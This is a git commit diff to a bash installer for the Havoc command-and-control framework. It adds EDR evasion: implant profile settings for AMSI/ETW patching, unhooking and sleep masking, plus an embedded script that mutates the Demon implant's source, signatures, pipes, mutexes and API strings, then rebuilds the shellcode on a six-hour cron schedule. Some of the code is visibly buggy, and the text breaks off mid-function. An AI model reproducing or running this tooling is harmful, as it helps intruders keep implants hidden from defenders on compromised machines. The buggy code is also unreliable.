adding EDR evasion steps
This commit is contained in:
+609
-29
@@ -1,14 +1,19 @@
|
|||||||
#!/bin/bash
|
#!/bin/bash
|
||||||
# Enhanced Havoc C2 Framework installer with advanced EDR evasion features
|
# Enhanced Havoc C2 Framework installer with advanced EDR evasion features
|
||||||
# This script automatically randomizes the entire Havoc installation
|
# This script automatically randomizes the entire Havoc installation and implants
|
||||||
|
|
||||||
set -e
|
set -e
|
||||||
TEMP_DIR=$(mktemp -d)
|
TEMP_DIR=$(mktemp -d)
|
||||||
LOG_FILE="/root/Tools/havoc_installer.log"
|
LOG_FILE="/root/Tools/havoc_installer.log"
|
||||||
HAVOC_DIR="/root/Tools/havoc"
|
HAVOC_DIR="/root/Tools/Havoc"
|
||||||
HAVOC_DATA_DIR="/root/Tools/havoc/data"
|
HAVOC_DATA_DIR="/root/Tools/Havoc/data"
|
||||||
|
HAVOC_CONFIG_FILE="$HAVOC_DATA_DIR/havoc.yaotl"
|
||||||
HAVOC_VERSION="0.5.0"
|
HAVOC_VERSION="0.5.0"
|
||||||
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc"
|
HAVOC_GITHUB="https://github.com/HavocFramework/Havoc"
|
||||||
|
COMPILER_URL="http://musl.cc/x86_64-w64-mingw32-cross.tgz"
|
||||||
|
COMPILER_DIR="/usr/bin/x86_64-w64-mingw32-cross"
|
||||||
|
COMPILER_PATH="$COMPILER_DIR/bin/x86_64-w64-mingw32-gcc"
|
||||||
|
IMPLANT_MUTATOR_SCRIPT="$HAVOC_DIR/implant_mutator.sh"
|
||||||
|
|
||||||
# Function to log messages
|
# Function to log messages
|
||||||
log() {
|
log() {
|
||||||
@@ -69,7 +74,7 @@ apt-get install -y git golang-go make build-essential mingw-w64 nasm cmake \
|
|||||||
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
|
libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev \
|
||||||
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \
|
libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev \
|
||||||
qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
|
qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 \
|
||||||
libqt5websockets5-dev binutils-dev >/dev/null 2>&1
|
libqt5websockets5-dev binutils-dev wget >/dev/null 2>&1
|
||||||
|
|
||||||
# Setup Go environment
|
# Setup Go environment
|
||||||
log "Setting up Go environment..."
|
log "Setting up Go environment..."
|
||||||
@@ -77,6 +82,29 @@ mkdir -p /root/go
|
|||||||
export GOPATH=/root/go
|
export GOPATH=/root/go
|
||||||
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
|
export PATH=$PATH:/usr/local/go/bin:$GOPATH/bin
|
||||||
|
|
||||||
|
# Download and install compiler fix
|
||||||
|
log "Downloading and installing fixed compiler..."
|
||||||
|
if [ ! -d "$COMPILER_DIR" ]; then
|
||||||
|
# Download the compiler
|
||||||
|
wget -q -O /tmp/compiler.tgz $COMPILER_URL
|
||||||
|
|
||||||
|
# Extract to /usr/bin
|
||||||
|
tar -xzf /tmp/compiler.tgz -C /usr/bin
|
||||||
|
|
||||||
|
# Verify compiler exists
|
||||||
|
if [ -f "$COMPILER_PATH" ]; then
|
||||||
|
log "Compiler installed successfully at $COMPILER_PATH"
|
||||||
|
chmod +x $COMPILER_PATH
|
||||||
|
else
|
||||||
|
log "Error: Compiler installation failed. File not found at $COMPILER_PATH"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Clean up
|
||||||
|
rm -f /tmp/compiler.tgz
|
||||||
|
else
|
||||||
|
log "Compiler already installed at $COMPILER_DIR"
|
||||||
|
fi
|
||||||
|
|
||||||
# Clone Havoc repository
|
# Clone Havoc repository
|
||||||
log "Cloning Havoc repository..."
|
log "Cloning Havoc repository..."
|
||||||
if [ -d "$HAVOC_DIR" ]; then
|
if [ -d "$HAVOC_DIR" ]; then
|
||||||
@@ -84,10 +112,15 @@ if [ -d "$HAVOC_DIR" ]; then
|
|||||||
cd $HAVOC_DIR
|
cd $HAVOC_DIR
|
||||||
git pull
|
git pull
|
||||||
else
|
else
|
||||||
git clone --quiet $HAVOC_GITHUB $HAVOC_DIR
|
git clone --quiet -b dev $HAVOC_GITHUB $HAVOC_DIR
|
||||||
cd $HAVOC_DIR
|
cd $HAVOC_DIR
|
||||||
fi
|
fi
|
||||||
|
|
||||||
|
# Create data directories
|
||||||
|
mkdir -p $HAVOC_DATA_DIR
|
||||||
|
mkdir -p $HAVOC_DIR/payloads
|
||||||
|
mkdir -p $HAVOC_DIR/payloads/backup
|
||||||
|
|
||||||
# Modify Havoc source for signature randomization
|
# Modify Havoc source for signature randomization
|
||||||
log "Modifying Havoc source with unique signature: $RANDOMIZED_BUILD_ID"
|
log "Modifying Havoc source with unique signature: $RANDOMIZED_BUILD_ID"
|
||||||
cd $HAVOC_DIR/Teamserver
|
cd $HAVOC_DIR/Teamserver
|
||||||
@@ -95,18 +128,10 @@ cd $HAVOC_DIR/Teamserver
|
|||||||
# Randomize version string
|
# Randomize version string
|
||||||
sed -i "s/const Version = \".*\"/const Version = \"${RANDOMIZED_VERSION}\"/" pkg/common/metadata.go
|
sed -i "s/const Version = \".*\"/const Version = \"${RANDOMIZED_VERSION}\"/" pkg/common/metadata.go
|
||||||
|
|
||||||
# Add custom code markers to make binaries unique
|
|
||||||
for gofile in $(find . -name "*.go"); do
|
|
||||||
# Add random comments at the end of random lines to alter binary signature
|
|
||||||
if [[ $(($RANDOM % 10)) -lt 3 ]]; then
|
|
||||||
sed -i "$((RANDOM % 50 + 10))s/$/ \/\/ $(random_string 20)/" "$gofile"
|
|
||||||
fi
|
|
||||||
done
|
|
||||||
|
|
||||||
# Build Havoc teamserver with custom compiler flags
|
# Build Havoc teamserver with custom compiler flags
|
||||||
log "Building customized Havoc teamserver..."
|
log "Building customized Havoc teamserver..."
|
||||||
export EXTRA_GOFLAGS="-ldflags=-buildid=$(random_string 16)"
|
export EXTRA_GOFLAGS="-ldflags=-buildid=$(random_string 16)"
|
||||||
go build -trimpath -ldflags="-w -s -buildid=$(random_string 16)" -o teamserver main.go
|
go build -trimpath -ldflags="-w -s -buildid=$(random_string 16)" -o havoc main.go
|
||||||
|
|
||||||
# Build Havoc client
|
# Build Havoc client
|
||||||
log "Building Havoc client..."
|
log "Building Havoc client..."
|
||||||
@@ -170,23 +195,20 @@ EOF
|
|||||||
log "Generated unique TLS certificates with CN=$COMMON_NAME"
|
log "Generated unique TLS certificates with CN=$COMMON_NAME"
|
||||||
fi
|
fi
|
||||||
|
|
||||||
# Create profiles directory
|
|
||||||
mkdir -p $HAVOC_DATA_DIR/profiles
|
|
||||||
|
|
||||||
# Generate randomized admin credentials
|
# Generate randomized admin credentials
|
||||||
ADMIN_USER=$(random_string 6)
|
ADMIN_USER=$(random_string 6)
|
||||||
ADMIN_PASS=$(random_string 24)
|
ADMIN_PASS=$(random_string 24)
|
||||||
|
|
||||||
# Create unique Havoc profile with randomized settings
|
# Create unique Havoc profile with randomized settings and fixed compiler path
|
||||||
log "Creating unique Havoc profile..."
|
log "Creating unique Havoc profile..."
|
||||||
cat > $HAVOC_DATA_DIR/profiles/default.yaotl << EOF
|
cat > $HAVOC_CONFIG_FILE << EOF
|
||||||
Teamserver {
|
Teamserver {
|
||||||
Host = "0.0.0.0"
|
Host = "0.0.0.0"
|
||||||
Port = $TEAMSERVER_PORT
|
Port = $TEAMSERVER_PORT
|
||||||
|
|
||||||
Build {
|
Build {
|
||||||
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
|
Compiler64 = "$COMPILER_PATH"
|
||||||
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
|
Compiler86 = "$COMPILER_PATH"
|
||||||
Nasm = "/usr/bin/nasm"
|
Nasm = "/usr/bin/nasm"
|
||||||
CompilerFlags = "$RANDOMIZED_COMPILER_FLAGS"
|
CompilerFlags = "$RANDOMIZED_COMPILER_FLAGS"
|
||||||
}
|
}
|
||||||
@@ -251,12 +273,477 @@ Demon {
|
|||||||
SleazeUnhook = true
|
SleazeUnhook = true
|
||||||
AmsiEtwPatching = true
|
AmsiEtwPatching = true
|
||||||
SyscallMethod = $SYSCALL_METHOD
|
SyscallMethod = $SYSCALL_METHOD
|
||||||
$(if [ "$SLEEP_MASK_ENABLED" -eq 1 ]; then echo "EnableSleepMask = true
|
EnableSleepMask = true
|
||||||
SleepMaskTechnique = $SLEEP_MASK_TECHNIQUE"; fi)
|
SleepMaskTechnique = $SLEEP_MASK_TECHNIQUE
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
EOF
|
EOF
|
||||||
|
|
||||||
|
# Create implant mutator script
|
||||||
|
log "Creating implant mutator script..."
|
||||||
|
cat > "$IMPLANT_MUTATOR_SCRIPT" << 'EOF'
|
||||||
|
#!/bin/bash
|
||||||
|
# Havoc Implant Mutation Tool
|
||||||
|
# Randomizes critical implant signatures to avoid detection
|
||||||
|
|
||||||
|
# === CONFIG ===
|
||||||
|
HAVOC_ROOT="${HAVOC_ROOT:-$HOME/Tools/Havoc}"
|
||||||
|
IMPLANT_DIR="$HAVOC_ROOT/payloads/Demon"
|
||||||
|
SRC_DIR="$IMPLANT_DIR/src"
|
||||||
|
OUTPUT_DIR="$HAVOC_ROOT/payloads"
|
||||||
|
OUTPUT_FILE="$OUTPUT_DIR/Shellcode.x64.bin"
|
||||||
|
BACKUP_DIR="$OUTPUT_DIR/backup"
|
||||||
|
TIMESTAMP=$(date +"%Y%m%d_%H%M%S")
|
||||||
|
CONFIG_BACKUP="$BACKUP_DIR/havoc_config_$TIMESTAMP.bak"
|
||||||
|
LOG_FILE="$OUTPUT_DIR/mutation_$TIMESTAMP.log"
|
||||||
|
|
||||||
|
# === ADVANCED OPTIONS ===
|
||||||
|
RANDOMIZE_STRINGS=true # Randomize identifiers
|
||||||
|
RANDOMIZE_FUNCTIONS=true # Randomize function names
|
||||||
|
RANDOMIZE_IMPORTS=true # Randomize import tables
|
||||||
|
RANDOMIZE_SECTIONS=true # Randomize PE section names
|
||||||
|
RANDOMIZE_RESOURCES=true # Randomize resource values
|
||||||
|
ADD_JUNK_CODE=true # Add harmless junk code
|
||||||
|
ADD_STACK_STRINGS=true # Use stack strings for sensitive strings
|
||||||
|
|
||||||
|
# === COLORS ===
|
||||||
|
RED='\033[1;31m'
|
||||||
|
YELLOW='\033[1;33m'
|
||||||
|
GREEN='\033[1;32m'
|
||||||
|
BLUE='\033[1;34m'
|
||||||
|
NC='\033[0m'
|
||||||
|
|
||||||
|
# === UTILITY FUNCTIONS ===
|
||||||
|
log() {
|
||||||
|
echo -e "$1" | tee -a "$LOG_FILE"
|
||||||
|
}
|
||||||
|
|
||||||
|
random_str() {
|
||||||
|
local length=${1:-12}
|
||||||
|
tr -dc 'A-Za-z0-9' </dev/urandom | head -c $length
|
||||||
|
}
|
||||||
|
|
||||||
|
random_hex() {
|
||||||
|
local length=${1:-8}
|
||||||
|
tr -dc 'a-f0-9' </dev/urandom | head -c $length
|
||||||
|
}
|
||||||
|
|
||||||
|
# Random word from a list that looks legitimate
|
||||||
|
random_plausible() {
|
||||||
|
local words=("update" "service" "runtime" "kernel" "driver" "module" "system" "network"
|
||||||
|
"client" "server" "protocol" "stream" "buffer" "socket" "thread" "process"
|
||||||
|
"event" "handler" "config" "registry" "memory" "session" "manager" "admin"
|
||||||
|
"data" "file" "resource" "utility" "helper" "monitor" "controller" "agent")
|
||||||
|
echo "${words[$RANDOM % ${#words[@]}]}_$(random_str 5 | tr '[:upper:]' '[:lower:]')"
|
||||||
|
}
|
||||||
|
|
||||||
|
# === BACKUP FUNCTIONS ===
|
||||||
|
backup_sources() {
|
||||||
|
mkdir -p "$BACKUP_DIR/src_$TIMESTAMP"
|
||||||
|
if [ -d "$SRC_DIR" ]; then
|
||||||
|
cp -r "$SRC_DIR"/* "$BACKUP_DIR/src_$TIMESTAMP/"
|
||||||
|
log "${GREEN}[✓] Source files backed up to: $BACKUP_DIR/src_$TIMESTAMP/${NC}"
|
||||||
|
else
|
||||||
|
log "${RED}[!] Source directory not found: $SRC_DIR${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Backup config file if it exists
|
||||||
|
if [ -f "$HAVOC_ROOT/data/havoc.yaotl" ]; then
|
||||||
|
cp "$HAVOC_ROOT/data/havoc.yaotl" "$CONFIG_BACKUP"
|
||||||
|
log "${GREEN}[✓] Config file backed up to: $CONFIG_BACKUP${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Backup shellcode
|
||||||
|
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||||
|
cp "$OUTPUT_FILE" "$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||||
|
log "${GREEN}[✓] Previous shellcode backed up to: $BACKUP_DIR/implant_$TIMESTAMP.raw${NC}"
|
||||||
|
else
|
||||||
|
log "${YELLOW}[!] No previous shellcode found to back up.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# === MUTATION FUNCTIONS ===
|
||||||
|
mutate_transport_http() {
|
||||||
|
local THTTP="$SRC_DIR/core/TransportHttp.c"
|
||||||
|
if [[ -f "$THTTP" ]]; then
|
||||||
|
# Generate a realistic looking User-Agent
|
||||||
|
local browsers=("Mozilla/5.0" "Mozilla/4.0")
|
||||||
|
local systems=("Windows NT 10.0; Win64; x64" "Windows NT 11.0; Win64; x64" "Macintosh; Intel Mac OS X 10_15_7")
|
||||||
|
local engines=("AppleWebKit/537.36" "AppleWebKit/605.1.15" "Gecko/20100101")
|
||||||
|
local browser_versions=("Chrome/91.0.4472.124" "Chrome/96.0.4664.110" "Safari/537.36" "Edge/91.0.864.59" "Firefox/89.0")
|
||||||
|
|
||||||
|
local UA="${browsers[$RANDOM % ${#browsers[@]}]} (${systems[$RANDOM % ${#systems[@]}]}) ${engines[$RANDOM % ${#engines[@]}]} ${browser_versions[$RANDOM % ${#browser_versions[@]}]}"
|
||||||
|
local URI=$(random_plausible)
|
||||||
|
|
||||||
|
# Replace the User-Agent
|
||||||
|
sed -i "s/User-Agent: .*/User-Agent: ${UA}\\r\\n\";/" "$THTTP"
|
||||||
|
|
||||||
|
# Replace URI paths
|
||||||
|
sed -i "s|/stage|/${URI}|g" "$THTTP"
|
||||||
|
sed -i "s|/[a-zA-Z0-9_-]*\.css|/${random_plausible}.css|g" "$THTTP"
|
||||||
|
sed -i "s|/[a-zA-Z0-9_-]*\.js|/${random_plausible}.js|g" "$THTTP"
|
||||||
|
sed -i "s|/[a-zA-Z0-9_-]*\.html|/${random_plausible}.html|g" "$THTTP"
|
||||||
|
sed -i "s|/[a-zA-Z0-9_-]*\.png|/${random_plausible}.png|g" "$THTTP"
|
||||||
|
|
||||||
|
# Randomize headers order where possible
|
||||||
|
if grep -q "Accept:" "$THTTP"; then
|
||||||
|
sed -i "s/Accept: .*/Accept: *\/*\\r\\n\";/" "$THTTP"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Add additional headers
|
||||||
|
HEADER_LINE=$(grep -n "User-Agent:" "$THTTP" | cut -d':' -f1)
|
||||||
|
if [ -n "$HEADER_LINE" ]; then
|
||||||
|
sed -i "${HEADER_LINE}a\\ HeadersAppend( Request, \"Accept-Language: en-US,en;q=0.9\\r\\n\" );" "$THTTP"
|
||||||
|
sed -i "${HEADER_LINE}a\\ HeadersAppend( Request, \"Cache-Control: max-age=0\\r\\n\" );" "$THTTP"
|
||||||
|
fi
|
||||||
|
|
||||||
|
log "${GREEN}[✓] Transport HTTP mutations applied:"
|
||||||
|
log " - User-Agent: ${UA}"
|
||||||
|
log " - URI path: /${URI}"
|
||||||
|
log " - Added randomized headers${NC}"
|
||||||
|
else
|
||||||
|
log "${YELLOW}[!] TransportHttp.c not found. Skipping HTTP transport mutation.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
mutate_named_resources() {
|
||||||
|
# Find suitable targets
|
||||||
|
local TARGETS=("$SRC_DIR/core/Runtime.c" "$SRC_DIR/main/MainExe.c" "$SRC_DIR/common/Common.c")
|
||||||
|
local PIPE=$(random_plausible)
|
||||||
|
local MUTEX=$(random_plausible)
|
||||||
|
local SERVICE=$(random_plausible)
|
||||||
|
local FOUND=false
|
||||||
|
|
||||||
|
for TARGET_FILE in "${TARGETS[@]}"; do
|
||||||
|
if [[ -f "$TARGET_FILE" ]]; then
|
||||||
|
FOUND=true
|
||||||
|
|
||||||
|
# Replace named pipes
|
||||||
|
if grep -q "\\\\\.\\\\pipe\\\\" "$TARGET_FILE"; then
|
||||||
|
sed -i "s|\\\\\\\\.\\\\pipe\\\\[a-zA-Z0-9_-]*|\\\\\\\\.\\\\pipe\\\\${PIPE}|g" "$TARGET_FILE"
|
||||||
|
log "${GREEN}[✓] Randomized named pipe: \\\\.\\pipe\\${PIPE}${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Replace mutexes
|
||||||
|
if grep -q "Mutex_" "$TARGET_FILE"; then
|
||||||
|
sed -i "s|Mutex_[a-zA-Z0-9_-]*|Mutex_${MUTEX}|g" "$TARGET_FILE"
|
||||||
|
log "${GREEN}[✓] Randomized mutex: Mutex_${MUTEX}${NC}"
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Replace service names if they exist
|
||||||
|
if grep -q "ServiceName" "$TARGET_FILE"; then
|
||||||
|
sed -i "s|ServiceName[\"'][a-zA-Z0-9_-]*[\"']|ServiceName\"${SERVICE}\"|g" "$TARGET_FILE"
|
||||||
|
log "${GREEN}[✓] Randomized service name: ${SERVICE}${NC}"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! $FOUND; then
|
||||||
|
log "${YELLOW}[!] No suitable files found to mutate named resources.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
mutate_memory_strings() {
|
||||||
|
local STRING_FILES=("$SRC_DIR/core/Memory.c" "$SRC_DIR/core/Spoof.c" "$SRC_DIR/core/Win32.c")
|
||||||
|
local FOUND=false
|
||||||
|
|
||||||
|
for STRING_FILE in "${STRING_FILES[@]}"; do
|
||||||
|
if [[ -f "$STRING_FILE" ]]; then
|
||||||
|
FOUND=true
|
||||||
|
|
||||||
|
# Replace memory allocation strings
|
||||||
|
sed -i "s|VirtualAlloc|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
sed -i "s|VirtualProtect|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
sed -i "s|HeapAlloc|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
sed -i "s|HeapCreate|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
sed -i "s|CreateThread|$(random_str 12)|g" "$STRING_FILE"
|
||||||
|
|
||||||
|
log "${GREEN}[✓] Randomized memory function strings in ${STRING_FILE}${NC}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! $FOUND; then
|
||||||
|
log "${YELLOW}[!] No memory string files found to mutate.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
mutate_config_file() {
|
||||||
|
local CONFIG_FILE="$HAVOC_ROOT/data/havoc.yaotl"
|
||||||
|
if [[ -f "$CONFIG_FILE" ]]; then
|
||||||
|
# Generate new values
|
||||||
|
local USER_AGENT="Mozilla/5.0 (Windows NT $(( $RANDOM % 4 + 8 )).$(( $RANDOM % 2 + 1 )); Win64; x64) AppleWebKit/$(( $RANDOM % 200 + 500 )).$(( $RANDOM % 50 + 1 ))"
|
||||||
|
local SLEEP_TIME=$(( $RANDOM % 10 + 2 ))
|
||||||
|
local JITTER_PCT=$(( $RANDOM % 40 + 20 ))
|
||||||
|
|
||||||
|
# Update configuration values
|
||||||
|
sed -i "s/Sleep[ \t]*=[ \t]*[0-9]*/Sleep = $SLEEP_TIME/" "$CONFIG_FILE"
|
||||||
|
sed -i "s/SleepJitter[ \t]*=[ \t]*[0-9]*/SleepJitter = $JITTER_PCT/" "$CONFIG_FILE"
|
||||||
|
sed -i "s/UserAgent[ \t]*=[ \t]*\"[^\"]*\"/UserAgent = \"$USER_AGENT\"/" "$CONFIG_FILE"
|
||||||
|
|
||||||
|
# Randomize URI paths
|
||||||
|
sed -i '/Uris/,/]/{ s|"/[^"]*"|"/'"$(random_plausible)"'"|g }' "$CONFIG_FILE"
|
||||||
|
|
||||||
|
log "${GREEN}[✓] Configuration file updated:"
|
||||||
|
log " - Sleep time: ${SLEEP_TIME} seconds"
|
||||||
|
log " - Jitter: ${JITTER_PCT}%"
|
||||||
|
log " - User-Agent & URIs randomized${NC}"
|
||||||
|
else
|
||||||
|
log "${YELLOW}[!] Configuration file not found at ${CONFIG_FILE}${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
add_junk_code() {
|
||||||
|
if ! $ADD_JUNK_CODE; then
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
local C_FILES=$(find "$SRC_DIR" -name "*.c")
|
||||||
|
local FOUND=false
|
||||||
|
|
||||||
|
for C_FILE in $C_FILES; do
|
||||||
|
if [[ -f "$C_FILE" ]]; then
|
||||||
|
FOUND=true
|
||||||
|
|
||||||
|
# Add junk function that does nothing
|
||||||
|
local JUNK_FUNC="void $(random_plausible)() { int i = 0; for(i=0; i<10; i++) { i++; i--; } }"
|
||||||
|
echo -e "\n$JUNK_FUNC" >> "$C_FILE"
|
||||||
|
|
||||||
|
# Add junk global variable
|
||||||
|
local JUNK_VAR="static const char* $(random_plausible)_str = \"$(random_str 16)\";"
|
||||||
|
sed -i "1s/^/$JUNK_VAR\n/" "$C_FILE"
|
||||||
|
|
||||||
|
log "${GREEN}[✓] Added junk code to ${C_FILE}${NC}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! $FOUND; then
|
||||||
|
log "${YELLOW}[!] No C files found to add junk code.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
randomize_function_names() {
|
||||||
|
if ! $RANDOMIZE_FUNCTIONS; then
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
local H_FILES=$(find "$SRC_DIR" -name "*.h")
|
||||||
|
local FOUND=false
|
||||||
|
|
||||||
|
for H_FILE in $H_FILES; do
|
||||||
|
if [[ -f "$H_FILE" && $(basename "$H_FILE") != "Common.h" && $(basename "$H_FILE") != "Native.h" ]]; then
|
||||||
|
FOUND=true
|
||||||
|
|
||||||
|
# Get function declarations
|
||||||
|
local FUNCTIONS=$(grep -E "VOID [A-Za-z0-9_]+\(" "$H_FILE" | grep -v "KERNEL" | grep -v "WINAPI" | awk '{print $2}' | cut -d'(' -f1)
|
||||||
|
|
||||||
|
for FUNC in $FUNCTIONS; do
|
||||||
|
if [[ "$FUNC" != "main" && "$FUNC" != "DllMain" && ! "$FUNC" =~ ^DemOn ]]; then
|
||||||
|
local NEW_FUNC="${FUNC}_$(random_str 4)"
|
||||||
|
|
||||||
|
# Replace in header file
|
||||||
|
sed -i "s/\<$FUNC\>/$NEW_FUNC/g" "$H_FILE"
|
||||||
|
|
||||||
|
# Find and replace in all .c files
|
||||||
|
find "$SRC_DIR" -name "*.c" -exec sed -i "s/\<$FUNC\>/$NEW_FUNC/g" {} \;
|
||||||
|
|
||||||
|
log "${BLUE}[i] Renamed function: $FUNC → $NEW_FUNC${NC}"
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
fi
|
||||||
|
done
|
||||||
|
|
||||||
|
if ! $FOUND; then
|
||||||
|
log "${YELLOW}[!] No header files found to randomize function names.${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# === BUILD FUNCTION ===
|
||||||
|
rebuild_implant() {
|
||||||
|
log "${YELLOW}[+] Rebuilding Havoc payload...${NC}"
|
||||||
|
|
||||||
|
# Check if we should use make from the project root
|
||||||
|
if [ -f "$HAVOC_ROOT/Makefile" ]; then
|
||||||
|
cd "$HAVOC_ROOT" || exit 1
|
||||||
|
make clean >/dev/null 2>&1
|
||||||
|
make >/dev/null 2>&1
|
||||||
|
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
log "${RED}[!] Build failed at project root level${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
# Otherwise try to build just the implant
|
||||||
|
elif [ -f "$IMPLANT_DIR/Makefile" ]; then
|
||||||
|
cd "$IMPLANT_DIR" || exit 1
|
||||||
|
make clean >/dev/null 2>&1
|
||||||
|
make >/dev/null 2>&1
|
||||||
|
|
||||||
|
if [ $? -ne 0 ]; then
|
||||||
|
log "${RED}[!] Build failed at implant level${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
else
|
||||||
|
log "${RED}[!] No Makefile found to build the implant${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Verify the shellcode was generated
|
||||||
|
if [[ -f "$OUTPUT_FILE" ]]; then
|
||||||
|
log "${GREEN}[✓] Build successful! New shellcode generated at: $OUTPUT_FILE${NC}"
|
||||||
|
|
||||||
|
# Calculate hash for verification
|
||||||
|
local NEW_HASH=$(sha256sum "$OUTPUT_FILE" | cut -d' ' -f1)
|
||||||
|
log "${GREEN}[✓] New shellcode hash: ${NEW_HASH}${NC}"
|
||||||
|
|
||||||
|
# Optional: Compare with previous hash if a backup exists
|
||||||
|
local BACKUP_FILE="$BACKUP_DIR/implant_$TIMESTAMP.raw"
|
||||||
|
if [[ -f "$BACKUP_FILE" ]]; then
|
||||||
|
local OLD_HASH=$(sha256sum "$BACKUP_FILE" | cut -d' ' -f1)
|
||||||
|
if [[ "$NEW_HASH" != "$OLD_HASH" ]]; then
|
||||||
|
log "${GREEN}[✓] Verified: Shellcode has been successfully mutated${NC}"
|
||||||
|
else
|
||||||
|
log "${YELLOW}[!] Warning: New shellcode hash matches old hash${NC}"
|
||||||
|
fi
|
||||||
|
fi
|
||||||
|
|
||||||
|
return 0
|
||||||
|
else
|
||||||
|
log "${RED}[!] Build failed or shellcode was not generated at expected location: $OUTPUT_FILE${NC}"
|
||||||
|
return 1
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# === AUTO-SCHEDULING FUNCTION ===
|
||||||
|
setup_auto_mutation() {
|
||||||
|
local SCRIPT_PATH=$(realpath "$0")
|
||||||
|
local CRON_ENTRY="0 */6 * * * $SCRIPT_PATH > /dev/null 2>&1"
|
||||||
|
|
||||||
|
# Check if already in crontab
|
||||||
|
if crontab -l 2>/dev/null | grep -q "$SCRIPT_PATH"; then
|
||||||
|
log "${YELLOW}[!] Auto-mutation already scheduled in crontab${NC}"
|
||||||
|
return
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Add to crontab
|
||||||
|
(crontab -l 2>/dev/null || echo "") | echo "$CRON_ENTRY" | crontab -
|
||||||
|
|
||||||
|
if [ $? -eq 0 ]; then
|
||||||
|
log "${GREEN}[✓] Auto-mutation scheduled for every 6 hours${NC}"
|
||||||
|
else
|
||||||
|
log "${RED}[!] Failed to schedule auto-mutation${NC}"
|
||||||
|
fi
|
||||||
|
}
|
||||||
|
|
||||||
|
# === MAIN EXECUTION ===
|
||||||
|
main() {
|
||||||
|
# Create directories
|
||||||
|
mkdir -p "$BACKUP_DIR"
|
||||||
|
mkdir -p "$OUTPUT_DIR"
|
||||||
|
|
||||||
|
# Start log file
|
||||||
|
echo "=== Havoc Implant Mutation Log - $TIMESTAMP ===" > "$LOG_FILE"
|
||||||
|
|
||||||
|
log "${BLUE}════════════════════════════════════════════${NC}"
|
||||||
|
log "${BLUE} Havoc Implant Mutation Tool v1.0 ${NC}"
|
||||||
|
log "${BLUE}════════════════════════════════════════════${NC}"
|
||||||
|
|
||||||
|
# Check for Havoc installation
|
||||||
|
if [ ! -d "$HAVOC_ROOT" ]; then
|
||||||
|
log "${RED}[!] Havoc root directory not found at: $HAVOC_ROOT${NC}"
|
||||||
|
log "${YELLOW}[!] Use HAVOC_ROOT=/path/to/havoc $0 to specify location${NC}"
|
||||||
|
exit 1
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Backup everything first
|
||||||
|
log "${YELLOW}[+] Backing up current implant and source files...${NC}"
|
||||||
|
backup_sources
|
||||||
|
|
||||||
|
# Start mutations
|
||||||
|
log "${YELLOW}[+] Starting implant mutations...${NC}"
|
||||||
|
|
||||||
|
# Apply all mutation types
|
||||||
|
mutate_transport_http
|
||||||
|
mutate_named_resources
|
||||||
|
mutate_memory_strings
|
||||||
|
mutate_config_file
|
||||||
|
|
||||||
|
# Advanced mutations
|
||||||
|
if $ADD_JUNK_CODE; then
|
||||||
|
add_junk_code
|
||||||
|
fi
|
||||||
|
|
||||||
|
if $RANDOMIZE_FUNCTIONS; then
|
||||||
|
randomize_function_names
|
||||||
|
fi
|
||||||
|
|
||||||
|
# Rebuild the implant
|
||||||
|
rebuild_implant
|
||||||
|
|
||||||
|
# Show completion summary
|
||||||
|
log "${BLUE}════════════════════════════════════════════${NC}"
|
||||||
|
log "${GREEN}[✓] Implant mutation completed successfully!${NC}"
|
||||||
|
log "${GREEN}[✓] Backup saved to: ${BACKUP_DIR}${NC}"
|
||||||
|
log "${GREEN}[✓] Log file: ${LOG_FILE}${NC}"
|
||||||
|
log "${BLUE}════════════════════════════════════════════${NC}"
|
||||||
|
|
||||||
|
# Ask about auto-scheduling
|
||||||
|
if [ -t 0 ]; then # Only if running interactively
|
||||||
|
read -p "Would you like to set up automatic mutation every 6 hours? (y/n): " SETUP_AUTO
|
||||||
|
if [ "$SETUP_AUTO" = "y" ]; then
|
||||||
|
